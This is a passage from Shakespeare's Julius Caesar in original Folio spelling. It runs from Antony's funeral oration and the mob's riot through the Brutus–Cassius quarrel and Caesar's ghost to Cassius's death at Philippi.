being men, hearing the Will of Caesar, +It will inflame you, it will make you mad: +'Tis good you know not that you are his Heires, +For if you should, O what would come of it? + 4 Read the Will, wee'l heare it Antony: +You shall reade vs the Will, Caesars Will + + Ant. Will you be Patient? Will you stay a-while? +I haue o're-shot my selfe to tell you of it, +I feare I wrong the Honourable men, +Whose Daggers haue stabb'd Caesar: I do feare it + + 4 They were Traitors: Honourable men? + All. The Will, the Testament + + 2 They were Villaines, Murderers: the Will, read the +Will + + Ant. You will compell me then to read the Will: +Then make a Ring about the Corpes of Caesar, +And let me shew you him that made the Will: +Shall I descend? And will you giue me leaue? + All. Come downe + + 2 Descend + + 3 You shall haue leaue + + 4 A Ring, stand round + + 1 Stand from the Hearse, stand from the Body + + 2 Roome for Antony, most Noble Antony + + Ant. Nay presse not so vpon me, stand farre off + + All. Stand backe: roome, beare backe + + Ant. If you haue teares, prepare to shed them now. +You all do know this Mantle, I remember +The first time euer Caesar put it on, +'Twas on a Summers Euening in his Tent, +That day he ouercame the Neruij. +Looke, in this place ran Cassius Dagger through: +See what a rent the enuious Caska made: +Through this, the wel-beloued Brutus stabb'd, +And as he pluck'd his cursed Steele away: +Marke how the blood of Caesar followed it, +As rushing out of doores, to be resolu'd +If Brutus so vnkindely knock'd, or no: +For Brutus, as you know, was Caesars Angel. +Iudge, O you Gods, how deerely Caesar lou'd him: +This was the most vnkindest cut of all. +For when the Noble Caesar saw him stab, +Ingratitude, more strong then Traitors armes, +Quite vanquish'd him: then burst his Mighty heart, +And in his Mantle, muffling vp his face, +Euen at the Base of Pompeyes Statue +(Which all the while ran blood) great Caesar fell. +O what a fall was there, my Countrymen? +Then I, and you, and all of vs fell downe, +Whil'st bloody Treason flourish'd ouer vs. +O now you weepe, and I perceiue you feele +The dint of pitty: These are gracious droppes. +Kinde Soules, what weepe you, when you but behold +Our Caesars Vesture wounded? Looke you heere, +Heere is Himselfe, marr'd as you see with Traitors + + 1. O pitteous spectacle! + 2. O Noble Caesar! + 3. O wofull day! + 4. O Traitors, Villaines! + 1. O most bloody sight! + 2. We will be reueng'd: Reuenge +About, seeke, burne, fire, kill, slay, +Let not a Traitor liue + + Ant. Stay Country-men + + 1. Peace there, heare the Noble Antony + + 2. Wee'l heare him, wee'l follow him, wee'l dy with +him + + Ant. Good Friends, sweet Friends, let me not stirre you vp +To such a sodaine Flood of Mutiny: +They that haue done this Deede, are honourable. +What priuate greefes they haue, alas I know not, +That made them do it: They are Wise, and Honourable, +And will no doubt with Reasons answer you. +I come not (Friends) to steale away your hearts, +I am no Orator, as Brutus is: +But (as you know me all) a plaine blunt man +That loue my Friend, and that they know full well, +That gaue me publike leaue to speake of him: +For I haue neyther writ nor words, nor worth, +Action, nor Vtterance, nor the power of Speech, +To stirre mens Blood. I onely speake right on: +I tell you that, which you your selues do know, +Shew you sweet Caesars wounds, poor poor dum mouths +And bid them speake for me: But were I Brutus, +And Brutus Antony, there were an Antony +Would ruffle vp your Spirits, and put a Tongue +In euery Wound of Caesar, that should moue +The stones of Rome, to rise and Mutiny + + All. Wee'l Mutiny + + 1 Wee'l burne the house of Brutus + + 3 Away then, come, seeke the Conspirators + + Ant. Yet heare me Countrymen, yet heare me speake + All. Peace hoe, heare Antony, most Noble Antony + + Ant. Why Friends, you go to do you know not what: +Wherein hath Caesar thus deseru'd your loues? +Alas you know not, I must tell you then: +You haue forgot the Will I told you of + + All. Most true, the Will, let's stay and heare the Wil + + Ant. Heere is the Will, and vnder Caesars Seale: +To euery Roman Citizen he giues, +To euery seuerall man, seuenty fiue Drachmaes + + 2 Ple. Most Noble Caesar, wee'l reuenge his death + + 3 Ple. O Royall Caesar + + Ant. Heare me with patience + + All. Peace hoe + Ant. Moreouer, he hath left you all his Walkes, +His priuate Arbors, and new-planted Orchards, +On this side Tyber, he hath left them you, +And to your heyres for euer: common pleasures +To walke abroad, and recreate your selues. +Heere was a Caesar: when comes such another? + 1.Ple. Neuer, neuer: come, away, away: +Wee'l burne his body in the holy place, +And with the Brands fire the Traitors houses. +Take vp the body + + 2.Ple. Go fetch fire + + 3.Ple. Plucke downe Benches + + 4.Ple. Plucke downe Formes, Windowes, any thing. + +Exit Plebeians. + + Ant. Now let it worke: Mischeefe thou art a-foot, +Take thou what course thou wilt. +How now Fellow? +Enter Seruant. + + Ser. Sir, Octauius is already come to Rome + + Ant. Where is hee? + Ser. He and Lepidus are at Caesars house + + Ant. And thither will I straight, to visit him: +He comes vpon a wish. Fortune is merry, +And in this mood will giue vs any thing + + Ser. I heard him say, Brutus and Cassius +Are rid like Madmen through the Gates of Rome + + Ant. Belike they had some notice of the people +How I had moued them. Bring me to Octauius. + +Exeunt. + +Enter Cinna the Poet, and after him the Plebeians. + + Cinna. I dreamt to night, that I did feast with Caesar, +And things vnluckily charge my Fantasie: +I haue no will to wander foorth of doores, +Yet something leads me foorth + + 1. What is your name? + 2. Whether are you going? + 3. Where do you dwell? + 4. Are you a married man, or a Batchellor? + 2. Answer euery man directly + + 1. I, and breefely + + 4. I, and wisely + + 3. I, and truly, you were best + + Cin. What is my name? Whether am I going? Where +do I dwell? Am I a married man, or a Batchellour? Then +to answer euery man, directly and breefely, wisely and +truly: wisely I say, I am a Batchellor + + 2 That's as much as to say, they are fooles that marrie: +you'l beare me a bang for that I feare: proceede directly + + Cinna. Directly I am going to Caesars Funerall + + 1. As a Friend, or an Enemy? + Cinna. As a friend + + 2. That matter is answered directly + + 4. For your dwelling: breefely + + Cinna. Breefely, I dwell by the Capitoll + + 3. Your name sir, truly + + Cinna. Truly, my name is Cinna + + 1. Teare him to peeces, hee's a Conspirator + + Cinna. I am Cinna the Poet, I am Cinna the Poet + + 4. Teare him for his bad verses, teare him for his bad +Verses + + Cin. I am not Cinna the Conspirator + + 4. It is no matter, his name's Cinna, plucke but his +name out of his heart, and turne him going + + 3. Teare him, tear him; Come Brands hoe, Firebrands: +to Brutus, to Cassius, burne all. Some to Decius House, +and some to Caska's; some to Ligarius: Away, go. + +Exeunt. all the Plebeians. + + +Actus Quartus. + +Enter Antony, Octauius, and Lepidus. + + Ant. These many then shall die, their names are prickt + Octa. Your Brother too must dye: consent you Lepidus? + Lep. I do consent + + Octa. Pricke him downe Antony + + Lep. Vpon condition Publius shall not liue, +Who is your Sisters sonne, Marke Antony + + Ant. He shall not liue; looke, with a spot I dam him. +But Lepidus, go you to Caesars house: +Fetch the Will hither, and we shall determine +How to cut off some charge in Legacies + + Lep. What? shall I finde you heere? + Octa. Or heere, or at the Capitoll. + +Exit Lepidus + + Ant. This is a slight vnmeritable man, +Meet to be sent on Errands: is it fit +The three-fold World diuided, he should stand +One of the three to share it? + Octa. So you thought him, +And tooke his voyce who should be prickt to dye +In our blacke Sentence and Proscription + + Ant. Octauius, I haue seene more dayes then you, +And though we lay these Honours on this man, +To ease our selues of diuers sland'rous loads, +He shall but beare them, as the Asse beares Gold, +To groane and swet vnder the Businesse, +Either led or driuen, as we point the way: +And hauing brought our Treasure, where we will, +Then take we downe his Load, and turne him off +(Like to the empty Asse) to shake his eares, +And graze in Commons + + Octa. You may do your will: +But hee's a tried, and valiant Souldier + + Ant. So is my Horse Octauius, and for that +I do appoint him store of Prouender. +It is a Creature that I teach to fight, +To winde, to stop, to run directly on: +His corporall Motion, gouern'd by my Spirit, +And in some taste, is Lepidus but so: +He must be taught, and train'd, and bid go forth: +A barren spirited Fellow; one that feeds +On Obiects, Arts, and Imitations. +Which out of vse, and stal'de by other men +Begin his fashion. Do not talke of him, +But as a property: and now Octauius, +Listen great things. Brutus and Cassius +Are leuying Powers; We must straight make head: +Therefore let our Alliance be combin'd, +Our best Friends made, our meanes stretcht, +And let vs presently go sit in Councell, +How couert matters may be best disclos'd, +And open Perils surest answered + + Octa. Let vs do so: for we are at the stake, +And bayed about with many Enemies, +And some that smile haue in their hearts I feare +Millions of Mischeefes. + +Exeunt. + +Drum. Enter Brutus, Lucillius, and the Army. Titinius and +Pindarus meete +them. + + Bru. Stand ho + + Lucil. Giue the word ho, and Stand + + Bru. What now Lucillius, is Cassius neere? + Lucil. He is at hand, and Pindarus is come +To do you salutation from his Master + + Bru. He greets me well. Your Master Pindarus +In his owne change, or by ill Officers, +Hath giuen me some worthy cause to wish +Things done, vndone: But if he be at hand +I shall be satisfied + + Pin. I do not doubt +But that my Noble Master will appeare +Such as he is, full of regard, and Honour + + Bru. He is not doubted. A word Lucillius +How he receiu'd you: let me be resolu'd + + Lucil. With courtesie, and with respect enough, +But not with such familiar instances, +Nor with such free and friendly Conference +As he hath vs'd of old + + Bru. Thou hast describ'd +A hot Friend, cooling: Euer note Lucillius, +When Loue begins to sicken and decay +It vseth an enforced Ceremony. +There are no trickes, in plaine and simple Faith: +But hollow men, like Horses hot at hand, +Make gallant shew, and promise of their Mettle: + +Low March within. + +But when they should endure the bloody Spurre, +They fall their Crests, and like deceitfull Iades +Sinke in the Triall. Comes his Army on? + Lucil. They meane this night in Sardis to be quarter'd: +The greater part, the Horse in generall +Are come with Cassius. +Enter Cassius and his Powers. + + Bru. Hearke, he is arriu'd: +March gently on to meete him + + Cassi. Stand ho + + Bru. Stand ho, speake the word along. +Stand. +Stand. +Stand + + Cassi. Most Noble Brother, you haue done me wrong + + Bru. Iudge me you Gods; wrong I mine Enemies? +And if not so, how should I wrong a Brother + + Cassi. Brutus, this sober forme of yours, hides wrongs, +And when you do them- + Brut. Cassius, be content, +Speake your greefes softly, I do know you well. +Before the eyes of both our Armies heere +(Which should perceiue nothing but Loue from vs) +Let vs not wrangle. Bid them moue away: +Then in my Tent Cassius enlarge your Greefes, +And I will giue you Audience + + Cassi. Pindarus, +Bid our Commanders leade their Charges off +A little from this ground + + Bru. Lucillius, do you the like, and let no man +Come to our Tent, till we haue done our Conference. +Let Lucius and Titinius guard our doore. + +Exeunt. + +Manet Brutus and Cassius. + + Cassi. That you haue wrong'd me, doth appear in this: +You haue condemn'd, and noted Lucius Pella +For taking Bribes heere of the Sardians; +Wherein my Letters, praying on his side, +Because I knew the man was slighted off + + Bru. You wrong'd your selfe to write in such a case + + Cassi. In such a time as this, it is not meet +That euery nice offence should beare his Comment + + Bru. Let me tell you Cassius, you your selfe +Are much condemn'd to haue an itching Palme, +To sell, and Mart your Offices for Gold +To Vndeseruers + + Cassi. I, an itching Palme? +You know that you are Brutus that speakes this, +Or by the Gods, this speech were else your last + + Bru. The name of Cassius Honors this corruption, +And Chasticement doth therefore hide his head + + Cassi. Chasticement? + Bru. Remember March, the Ides of March reme[m]ber: +Did not great Iulius bleede for Iustice sake? +What Villaine touch'd his body, that did stab, +And not for Iustice? What? Shall one of Vs, +That strucke the Formost man of all this World, +But for supporting Robbers: shall we now, +Contaminate our fingers, with base Bribes? +And sell the mighty space of our large Honors +For so much trash, as may be grasped thus? +I had rather be a Dogge, and bay the Moone, +Then such a Roman + + Cassi. Brutus, baite not me, +Ile not indure it: you forget your selfe +To hedge me in. I am a Souldier, I, +Older in practice, Abler then your selfe +To make Conditions + + Bru. Go too: you are not Cassius + + Cassi. I am + + Bru. I say, you are not + + Cassi. Vrge me no more, I shall forget my selfe: +Haue minde vpon your health: Tempt me no farther + + Bru. Away slight man + + Cassi. Is't possible? + Bru. Heare me, for I will speake. +Must I giue way, and roome to your rash Choller? +Shall I be frighted, when a Madman stares? + Cassi. O ye Gods, ye Gods, Must I endure all this? + Bru. All this? I more: Fret till your proud hart break. +Go shew your Slaues how Chollericke you are, +And make your Bondmen tremble. Must I bouge? +Must I obserue you? Must I stand and crouch +Vnder your Testie Humour? By the Gods, +You shall digest the Venom of your Spleene +Though it do Split you. For, from this day forth, +Ile vse you for my Mirth, yea for my Laughter +When you are Waspish + + Cassi. Is it come to this? + Bru. You say, you are a better Souldier: +Let it appeare so; make your vaunting true, +And it shall please me well. For mine owne part, +I shall be glad to learne of Noble men + + Cass. You wrong me euery way: +You wrong me Brutus: +I saide, an Elder Souldier, not a Better. +Did I say Better? + Bru. If you did, I care not + + Cass. When Caesar liu'd, he durst not thus haue mou'd me + + Brut. Peace, peace, you durst not so haue tempted him + + Cassi. I durst not + + Bru. No + + Cassi. What? durst not tempt him? + Bru. For your life you durst not + + Cassi. Do not presume too much vpon my Loue, +I may do that I shall be sorry for + + Bru. You haue done that you should be sorry for. +There is no terror Cassius in your threats: +For I am Arm'd so strong in Honesty, +That they passe by me, as the idle winde, +Which I respect not. I did send to you +For certaine summes of Gold, which you deny'd me, +For I can raise no money by vile meanes: +By Heauen, I had rather Coine my Heart, +And drop my blood for Drachmaes, then to wring +From the hard hands of Peazants, their vile trash +By any indirection. I did send +To you for Gold to pay my Legions, +Which you deny'd me: was that done like Cassius? +Should I haue answer'd Caius Cassius so? +When Marcus Brutus growes so Couetous, +To locke such Rascall Counters from his Friends, +Be ready Gods with all your Thunder-bolts, +Dash him to peeces + + Cassi. I deny'd you not + + Bru. You did + + Cassi. I did not. He was but a Foole +That brought my answer back. Brutus hath riu'd my hart: +A Friend should beare his Friends infirmities; +But Brutus makes mine greater then they are + + Bru. I do not, till you practice them on me + + Cassi. You loue me not + + Bru. I do not like your faults + + Cassi. A friendly eye could neuer see such faults + + Bru. A Flatterers would not, though they do appeare +As huge as high Olympus + + Cassi. Come Antony, and yong Octauius come, +Reuenge your selues alone on Cassius, +For Cassius is a-weary of the World: +Hated by one he loues, brau'd by his Brother, +Check'd like a bondman, all his faults obseru'd, +Set in a Note-booke, learn'd, and con'd by roate +To cast into my Teeth. O I could weepe +My Spirit from mine eyes. There is my Dagger, +And heere my naked Breast: Within, a Heart +Deerer then Pluto's Mine, Richer then Gold: +If that thou bee'st a Roman, take it foorth. +I that deny'd thee Gold, will giue my Heart: +Strike as thou did'st at Caesar: For I know, +When thou did'st hate him worst, y loued'st him better +Then euer thou loued'st Cassius + + Bru. Sheath your Dagger: +Be angry when you will, it shall haue scope: +Do what you will, Dishonor, shall be Humour. +O Cassius, you are yoaked with a Lambe +That carries Anger, as the Flint beares fire, +Who much inforced, shewes a hastie Sparke, +And straite is cold agen + + Cassi. Hath Cassius liu'd +To be but Mirth and Laughter to his Brutus, +When greefe and blood ill temper'd, vexeth him? + Bru. When I spoke that, I was ill temper'd too + + Cassi. Do you confesse so much? Giue me your hand + + Bru. And my heart too + + Cassi. O Brutus! + Bru. What's the matter? + Cassi. Haue not you loue enough to beare with me, +When that rash humour which my Mother gaue me +Makes me forgetfull + + Bru. Yes Cassius, and from henceforth +When you are ouer-earnest with your Brutus, +Hee'l thinke your Mother chides, and leaue you so. +Enter a Poet. + + Poet. Let me go in to see the Generals, +There is some grudge betweene 'em, 'tis not meete +They be alone + + Lucil. You shall not come to them + + Poet. Nothing but death shall stay me + + Cas. How now? What's the matter? + Poet. For shame you Generals; what do you meane? +Loue, and be Friends, as two such men should bee, +For I haue seene more yeeres I'me sure then yee + + Cas. Ha, ha, how vildely doth this Cynicke rime? + Bru. Get you hence sirra: Sawcy Fellow, hence + + Cas. Beare with him Brutus, 'tis his fashion + + Brut. Ile know his humor, when he knowes his time: +What should the Warres do with these Iigging Fooles? +Companion, hence + + Cas. Away, away be gone. + +Exit Poet + + Bru. Lucillius and Titinius bid the Commanders +Prepare to lodge their Companies to night + + Cas. And come your selues, & bring Messala with you +Immediately to vs + + Bru. Lucius, a bowle of Wine + + Cas. I did not thinke you could haue bin so angry + + Bru. O Cassius, I am sicke of many greefes + + Cas. Of your Philosophy you make no vse, +If you giue place to accidentall euils + + Bru. No man beares sorrow better. Portia is dead + + Cas. Ha? Portia? + Bru. She is dead + + Cas. How scap'd I killing, when I crost you so? +O insupportable, and touching losse! +Vpon what sicknesse? + Bru. Impatient of my absence, +And greefe, that yong Octauius with Mark Antony +Haue made themselues so strong: For with her death +That tydings came. With this she fell distract, +And (her Attendants absent) swallow'd fire + + Cas. And dy'd so? + Bru. Euen so + + Cas. O ye immortall Gods! +Enter Boy with Wine, and Tapers. + + Bru. Speak no more of her: Giue me a bowl of wine, +In this I bury all vnkindnesse Cassius. + +Drinkes + + Cas. My heart is thirsty for that Noble pledge. +Fill Lucius, till the Wine ore-swell the Cup: +I cannot drinke too much of Brutus loue. +Enter Titinius and Messala. + + Brutus. Come in Titinius: +Welcome good Messala: +Now sit we close about this Taper heere, +And call in question our necessities + + Cass. Portia, art thou gone? + Bru. No more I pray you. +Messala, I haue heere receiued Letters, +That yong Octauius, and Marke Antony +Come downe vpon vs with a mighty power, +Bending their Expedition toward Philippi + + Mess. My selfe haue Letters of the selfe-same Tenure + + Bru. With what Addition + + Mess. That by proscription, and billes of Outlarie, +Octauius, Antony, and Lepidus, +Haue put to death, an hundred Senators + + Bru. Therein our Letters do not well agree: +Mine speake of seuenty Senators, that dy'de +By their proscriptions, Cicero being one + + Cassi. Cicero one? + Messa. Cicero is dead, and by that order of proscription +Had you your Letters from your wife, my Lord? + Bru. No Messala + + Messa. Nor nothing in your Letters writ of her? + Bru. Nothing Messala + + Messa. That me thinkes is strange + + Bru. Why aske you? +Heare you ought of her, in yours? + Messa. No my Lord + + Bru. Now as you are a Roman tell me true + + Messa. Then like a Roman, beare the truth I tell, +For certaine she is dead, and by strange manner + + Bru. Why farewell Portia: We must die Messala: +With meditating that she must dye once, +I haue the patience to endure it now + + Messa. Euen so great men, great losses shold indure + + Cassi. I haue as much of this in Art as you, +But yet my Nature could not beare it so + + Bru. Well, to our worke aliue. What do you thinke +Of marching to Philippi presently + + Cassi. I do not thinke it good + + Bru. Your reason? + Cassi. This it is: +'Tis better that the Enemie seeke vs, +So shall he waste his meanes, weary his Souldiers, +Doing himselfe offence, whil'st we lying still, +Are full of rest, defence, and nimblenesse + + Bru. Good reasons must of force giue place to better: +The people 'twixt Philippi, and this ground +Do stand but in a forc'd affection: +For they haue grug'd vs Contribution. +The Enemy, marching along by them, +By them shall make a fuller number vp, +Come on refresht, new added, and encourag'd: +From which aduantage shall we cut him off. +If at Philippi we do face him there, +These people at our backe + + Cassi. Heare me good Brother + + Bru. Vnder your pardon. You must note beside, +That we haue tride the vtmost of our Friends: +Our Legions are brim full, our cause is ripe, +The Enemy encreaseth euery day, +We at the height, are readie to decline. +There is a Tide in the affayres of men, +Which taken at the Flood, leades on to Fortune: +Omitted, all the voyage of their life, +Is bound in Shallowes, and in Miseries. +On such a full Sea are we now a-float, +And we must take the current when it serues, +Or loose our Ventures + + Cassi. Then with your will go on: wee'l along +Our selues, and meet them at Philippi + + Bru. The deepe of night is crept vpon our talke, +And Nature must obey Necessitie, +Which we will niggard with a little rest: +There is no more to say + + Cassi. No more, good night, +Early to morrow will we rise, and hence. +Enter Lucius. + + Bru. Lucius my Gowne: farewell good Messala, +Good night Titinius: Noble, Noble Cassius, +Good night, and good repose + + Cassi. O my deere Brother: +This was an ill beginning of the night: +Neuer come such diuision 'tweene our soules: +Let it not Brutus. +Enter Lucius with the Gowne. + + Bru. Euery thing is well + + Cassi. Good night my Lord + + Bru. Good night good Brother + + Tit. Messa. Good night Lord Brutus + + Bru. Farwell euery one. + +Exeunt. + +Giue me the Gowne. Where is thy Instrument? + Luc. Heere in the Tent + + Bru. What, thou speak'st drowsily? +Poore knaue I blame thee not, thou art ore-watch'd. +Call Claudio, and some other of my men, +Ile haue them sleepe on Cushions in my Tent + + Luc. Varrus, and Claudio. +Enter Varrus and Claudio. + + Var. Cals my Lord? + Bru. I pray you sirs, lye in my Tent and sleepe, +It may be I shall raise you by and by +On businesse to my Brother Cassius + + Var. So please you, we will stand, +And watch your pleasure + + Bru. I will it not haue it so: Lye downe good sirs, +It may be I shall otherwise bethinke me. +Looke Lucius, heere's the booke I sought for so: +I put it in the pocket of my Gowne + + Luc. I was sure your Lordship did not giue it me + + Bru. Beare with me good Boy, I am much forgetfull. +Canst thou hold vp thy heauie eyes a-while, +And touch thy Instrument a straine or two + + Luc. I my Lord, an't please you + + Bru. It does my Boy: +I trouble thee too much, but thou art willing + + Luc. It is my duty Sir + + Brut. I should not vrge thy duty past thy might, +I know yong bloods looke for a time of rest + + Luc. I haue slept my Lord already + + Bru. It was well done, and thou shalt sleepe againe: +I will not hold thee long. If I do liue, +I will be good to thee. + +Musicke, and a Song. + +This is a sleepy Tune: O Murd'rous slumber! +Layest thou thy Leaden Mace vpon my Boy, +That playes thee Musicke? Gentle knaue good night: +I will not do thee so much wrong to wake thee: +If thou do'st nod, thou break'st thy Instrument, +Ile take it from thee, and (good Boy) good night. +Let me see, let me see; is not the Leafe turn'd downe +Where I left reading? Heere it is I thinke. +Enter the Ghost of Caesar. + +How ill this Taper burnes. Ha! Who comes heere? +I thinke it is the weakenesse of mine eyes +That shapes this monstrous Apparition. +It comes vpon me: Art thou any thing? +Art thou some God, some Angell, or some Diuell, +That mak'st my blood cold, and my haire to stare? +Speake to me, what thou art + + Ghost. Thy euill Spirit Brutus? + Bru. Why com'st thou? + Ghost. To tell thee thou shalt see me at Philippi + + Brut. Well: then I shall see thee againe? + Ghost. I, at Philippi + + Brut. Why I will see thee at Philippi then: +Now I haue taken heart, thou vanishest. +Ill Spirit, I would hold more talke with thee. +Boy, Lucius, Varrus, Claudio, Sirs: Awake: +Claudio + + Luc. The strings my Lord, are false + + Bru. He thinkes he still is at his Instrument. +Lucius, awake + + Luc. My Lord + + Bru. Did'st thou dreame Lucius, that thou so cryedst +out? + Luc. My Lord, I do not know that I did cry + + Bru. Yes that thou did'st: Did'st thou see any thing? + Luc. Nothing my Lord + + Bru. Sleepe againe Lucius: Sirra Claudio, Fellow, +Thou: Awake + + Var. My Lord + + Clau. My Lord + + Bru. Why did you so cry out sirs, in your sleepe? + Both. Did we my Lord? + Bru. I: saw you any thing? + Var. No my Lord, I saw nothing + + Clau. Nor I my Lord + + Bru. Go, and commend me to my Brother Cassius: +Bid him set on his Powres betimes before, +And we will follow + + Both. It shall be done my Lord. + +Exeunt. + +Actus Quintus. + +Enter Octauius, Antony, and their Army. + + Octa. Now Antony, our hopes are answered, +You said the Enemy would not come downe, +But keepe the Hilles and vpper Regions: +It proues not so: their battailes are at hand, +They meane to warne vs at Philippi heere: +Answering before we do demand of them + + Ant. Tut I am in their bosomes, and I know +Wherefore they do it: They could be content +To visit other places, and come downe +With fearefull brauery: thinking by this face +To fasten in our thoughts that they haue Courage; +But 'tis not so. +Enter a Messenger. + + Mes. Prepare you Generals, +The Enemy comes on in gallant shew: +Their bloody signe of Battell is hung out, +And something to be done immediately + + Ant. Octauius, leade your Battaile softly on +Vpon the left hand of the euen Field + + Octa. Vpon the right hand I, keepe thou the left + + Ant. Why do you crosse me in this exigent + + Octa. I do not crosse you: but I will do so. + +March. + +Drum. Enter Brutus, Cassius, & their Army. + + Bru. They stand, and would haue parley + + Cassi. Stand fast Titinius, we must out and talke + + Octa. Mark Antony, shall we giue signe of Battaile? + Ant. No Caesar, we will answer on their Charge. +Make forth, the Generals would haue some words + + Oct. Stirre not vntill the Signall + + Bru. Words before blowes: is it so Countrymen? + Octa. Not that we loue words better, as you do + + Bru. Good words are better then bad strokes Octauius + + An. In your bad strokes Brutus, you giue good words +Witnesse the hole you made in Caesars heart, +Crying long liue, Haile Caesar + + Cassi. Antony, +The posture of your blowes are yet vnknowne; +But for your words, they rob the Hibla Bees, +And leaue them Hony-lesse + + Ant. Not stinglesse too + + Bru. O yes, and soundlesse too: +For you haue stolne their buzzing Antony, +And very wisely threat before you sting + + Ant. Villains: you did not so, when your vile daggers +Hackt one another in the sides of Caesar: +You shew'd your teethes like Apes, +And fawn'd like Hounds, +And bow'd like Bondmen, kissing Caesars feete; +Whil'st damned Caska, like a Curre, behinde +Strooke Caesar on the necke. O you Flatterers + + Cassi. Flatterers? Now Brutus thanke your selfe, +This tongue had not offended so to day. +If Cassius might haue rul'd + + Octa. Come, come, the cause. If arguing make vs swet, +The proofe of it will turne to redder drops: +Looke, I draw a Sword against Conspirators, +When thinke you that the Sword goes vp againe? +Neuer till Caesars three and thirtie wounds +Be well aueng'd; or till another Caesar +Haue added slaughter to the Sword of Traitors + + Brut. Caesar, thou canst not dye by Traitors hands. +Vnlesse thou bring'st them with thee + + Octa. So I hope: +I was not borne to dye on Brutus Sword + + Bru. O if thou wer't the Noblest of thy Straine, +Yong-man, thou could'st not dye more honourable + + Cassi. A peeuish School-boy, worthles of such Honor +Ioyn'd with a Masker, and a Reueller + + Ant. Old Cassius still + + Octa. Come Antony: away: +Defiance Traitors, hurle we in your teeth. +If you dare fight to day, come to the Field; +If not, when you haue stomackes. + +Exit Octauius, Antony, and Army + + Cassi. Why now blow winde, swell Billow, +And swimme Barke: +The Storme is vp, and all is on the hazard + + Bru. Ho Lucillius, hearke, a word with you. + +Lucillius and Messala stand forth. + + Luc. My Lord + + Cassi. Messala + + Messa. What sayes my Generall? + Cassi. Messala, this is my Birth-day: at this very day +Was Cassius borne. Giue me thy hand Messala: +Be thou my witnesse, that against my will +(As Pompey was) am I compell'd to set +Vpon one Battell all our Liberties. +You know, that I held Epicurus strong, +And his Opinion: Now I change my minde, +And partly credit things that do presage. +Comming from Sardis, on our former Ensigne +Two mighty Eagles fell, and there they pearch'd, +Gorging and feeding from our Soldiers hands, +Who to Philippi heere consorted vs: +This Morning are they fled away, and gone, +And in their steeds, do Rauens, Crowes, and Kites +Fly ore our heads, and downward looke on vs +As we were sickely prey; their shadowes seeme +A Canopy most fatall, vnder which +Our Army lies, ready to giue vp the Ghost + + Messa. Beleeue not so + + Cassi. I but beleeue it partly, +For I am fresh of spirit, and resolu'd +To meete all perils, very constantly + + Bru. Euen so Lucillius + + Cassi. Now most Noble Brutus, +The Gods to day stand friendly, that we may +Louers in peace, leade on our dayes to age. +But since the affayres of men rests still incertaine, +Let's reason with the worst that may befall. +If we do lose this Battaile, then is this +The very last time we shall speake together: +What are you then determined to do? + Bru. Euen by the rule of that Philosophy, +By which I did blame Cato, for the death +Which he did giue himselfe, I know not how: +But I do finde it Cowardly, and vile, +For feare of what might fall, so to preuent +The time of life, arming my selfe with patience, +To stay the prouidence of some high Powers, +That gouerne vs below + + Cassi. Then, if we loose this Battaile, +You are contented to be led in Triumph +Thorow the streets of Rome + + Bru. No Cassius, no: +Thinke not thou Noble Romane, +That euer Brutus will go bound to Rome, +He beares too great a minde. But this same day +Must end that worke, the Ides of March begun. +And whether we shall meete againe, I know not: +Therefore our euerlasting farewell take: +For euer, and for euer, farewell Cassius, +If we do meete againe, why we shall smile; +If not, why then this parting was well made + + Cassi. For euer, and for euer, farewell Brutus: +If we do meete againe, wee'l smile indeede; +If not, 'tis true, this parting was well made + + Bru. Why then leade on. O that a man might know +The end of this dayes businesse, ere it come: +But it sufficeth, that the day will end, +And then the end is knowne. Come ho, away. + +Exeunt. + +Alarum. Enter Brutus and Messala. + + Bru. Ride, ride Messala, ride and giue these Billes +Vnto the Legions, on the other side. + +Lowd Alarum. + +Let them set on at once: for I perceiue +But cold demeanor in Octauio's wing: +And sodaine push giues them the ouerthrow: +Ride, ride Messala, let them all come downe. + +Exeunt. + +Alarums. Enter Cassius and Titinius. + + Cassi. O looke Titinius, looke, the Villaines flye: +My selfe haue to mine owne turn'd Enemy: +This Ensigne heere of mine was turning backe, +I slew the Coward, and did take it from him + + Titin. O Cassius, Brutus gaue the word too early, +Who hauing some aduantage on Octauius, +Tooke it too eagerly: his Soldiers fell to spoyle, +Whilst we by Antony are all inclos'd. +Enter Pindarus. + + Pind. Fly further off my Lord: flye further off, +Mark Antony is in your Tents my Lord: +Flye therefore Noble Cassius, flye farre off + + Cassi. This Hill is farre enough. Looke, look Titinius +Are those my Tents where I perceiue the fire? + Tit. They are, my Lord + + Cassi. Titinius, if thou louest me, +Mount thou my horse, and hide thy spurres in him, +Till he haue brought thee vp to yonder Troopes +And heere againe, that I may rest assur'd +Whether yond Troopes, are Friend or Enemy + + Tit. I will be heere againe, euen with a thought. +Enter. + + Cassi. Go Pindarus, get higher on that hill, +My sight was euer thicke: regard Titinius, +And tell me what thou not'st about the Field. +This day I breathed first, Time is come round, +And where I did begin, there shall I end, +My life is run his compasse. Sirra, what newes? + Pind. Aboue. O my Lord + + Cassi. What newes? + Pind. Titinius is enclosed round about +With Horsemen, that make to him on the Spurre, +Yet he spurres on. Now they are almost on him: +Now Titinius. Now some light: O he lights too. +Hee's tane. + +Showt. + +And hearke, they shout for ioy + + Cassi. Come downe, behold no more: +O Coward that I am, to liue so long, +To see my best Friend tane before my face +Enter Pindarus. + +Come hither sirrah: In Parthia did I take thee Prisoner, +And then I swore thee, sauing of thy life, +That whatsoeuer I did bid thee do, +Thou should'st attempt it. Come now, keepe thine oath, +Now be a Free-man, and with this good Sword +That ran through Caesars bowels, search this bosome. +Stand not to answer: Heere, take thou the Hilts, +And when my face is couer'd, as 'tis now, +Guide thou the Sword- Caesar, thou art reueng'd, +Euen with the Sword that kill'd thee + + Pin. So, I am free, +Yet would not so haue beene +Durst I haue done my will. O Cassius, +Farre from this Country Pindarus shall run, +Where neuer Roman shall take note of him. +Enter Titinius and Messala. + + Messa. It is but change, Titinius: for Octauius +Is ouerthrowne by Noble Brutus power, +As Cassius Legions are by Antony + + Titin. These tydings will well comfort Cassius + + Messa. Where did you leaue him + + Titin. All disconsolate, +With Pindarus his Bondman, on this Hill + + Messa. Is not that he that lyes vpon the ground? + Titin. He lies not like the Liuing. O my heart! + Messa. Is not that hee? + Titin. No, this was he Messala, +But Cassius is no more. O setting Sunne: +As in thy red Rayes thou doest sinke to night; +So in his red blood Cassius day is set. +The Sunne of Rome is set. Our day is gone, +Clowds, Dewes, and Dangers come; our deeds are done: +Mistrust of my successe hath done this deed + + Messa. Mistrust of good successe hath done this deed. +O hatefull Error, Melancholies Childe: +Why do'st thou shew to the apt thoughts of men +The things that are not? O Error soone conceyu'd, +Thou neuer com'st vnto a happy byrth, +But kil'st the Mother that engendred thee + + Tit. What Pindarus? Where art thou 